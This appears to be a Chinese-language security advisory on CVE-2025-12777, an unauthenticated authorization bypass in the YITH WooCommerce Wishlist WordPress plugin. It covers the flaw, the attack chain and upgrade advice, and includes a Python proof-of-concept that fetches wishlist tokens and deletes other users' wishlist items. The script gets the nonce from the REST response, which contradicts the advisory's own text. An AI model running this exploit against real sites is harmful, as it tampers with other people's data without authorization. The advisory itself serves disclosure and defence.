IPBUF安全漏洞报告
English
CVE-2025-12777 CVSS 5.3 中危

CVE-2025-12777 YITH WooCommerce Wishlist授权绕过漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-12777
漏洞类型
授权绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
YITH WooCommerce Wishlist WordPress插件

相关标签

授权绕过WordPress插件YITH WooCommerce WishlistREST API绕过AJAX漏洞CVE-2025-12777

漏洞概述

YITH WooCommerce Wishlist是WordPress平台上广受欢迎的电商愿望清单插件。该插件在4.10.0及之前的所有版本中存在严重的授权绕过漏洞。漏洞源于插件的REST API端点(/wp-json/yith/wishlist/v1/lists)使用了permission_callback => '__return_true',这意味着该端点对所有用户开放,包括未认证的攻击者。同时,AJAX的delete_item处理器仅验证nonce有效性,而未进行对象级别的授权检查。攻击者可以利用这些安全缺陷,在无需认证的情况下获取任意用户的愿望清单令牌,并通过令牌删除用户愿望清单中的商品。此漏洞影响所有使用该插件的WordPress网站,可能导致用户隐私信息泄露和恶意删除愿望清单内容。

技术细节

该漏洞的核心问题在于两处安全验证的缺失:1) REST API端点验证缺陷:/wp-json/yith/wishlist/v1/lists端点使用permission_callback设置为'__return_true',导致所有请求都被视为已授权,完全绕过了WordPress的用户权限验证机制。2) AJAX处理器授权缺失:delete_item AJAX处理程序仅检查请求中的nonce值是否有效,但未验证当前用户是否有权限操作目标愿望清单对象。攻击者首先通过REST API获取目标用户的愿望清单令牌,然后利用共享愿望清单页面暴露的delete_item nonce,通过AJAX请求删除任意用户的愿望清单商品。攻击流程为:未认证请求REST API获取令牌 → 利用暴露的nonce发起AJAX删除请求 → 未验证对象权限导致删除成功。

攻击链分析

STEP 1
步骤1
攻击者构造未认证的HTTP请求访问REST API端点 /wp-json/yith/wishlist/v1/lists,利用permission_callback绕过获取目标用户的愿望清单令牌(token)
STEP 2
步骤2
攻击者访问公开的愿望清单页面,从页面源码或响应中提取delete_item AJAX操作所需的nonce值
STEP 3
步骤3
攻击者使用获取的令牌和nonce,通过AJAX端点 wp-admin/admin-ajax.php 发送delete_item请求
STEP 4
步骤4
AJAX处理器仅验证nonce有效性,由于缺少对象级别的授权检查,攻击者成功删除目标用户的愿望清单商品

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json TARGET_URL = "https://vulnerable-site.com" USER_ID = 1 # Target WordPress user ID # Step 1: Get wishlist tokens via REST API bypass print("[+] Step 1: Fetching wishlist tokens...") api_url = f"{TARGET_URL}/wp-json/yith/wishlist/v1/lists" response = requests.get(f"{api_url}?user_id={USER_ID}") if response.status_code == 200: data = response.json() wishlist_token = data.get('token', '') delete_nonce = data.get('nonce', '') print(f"[+] Token: {wishlist_token}") print(f"[+] Delete Nonce: {delete_nonce}") else: print(f"[-] Failed to fetch tokens: {response.status_code}") exit(1) # Step 2: Delete wishlist items via AJAX handler print("[+] Step 2: Deleting wishlist items...") delete_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" params = { 'action': 'delete_item', 'wishlist_token': wishlist_token, 'nonce': delete_nonce, 'item_id': 123 # Target item ID } response = requests.post(delete_url, data=params) print(f"[+] Response: {response.text}")

影响范围

YITH WooCommerce Wishlist <= 4.10.0

防御指南

临时缓解措施
立即将YITH WooCommerce Wishlist插件升级至4.10.1或最新版本。如果暂时无法升级,可考虑暂时禁用该插件,或使用Web应用防火墙(WAF)规则限制对/wp-json/yith/和/admin-ajax.php端点的异常访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表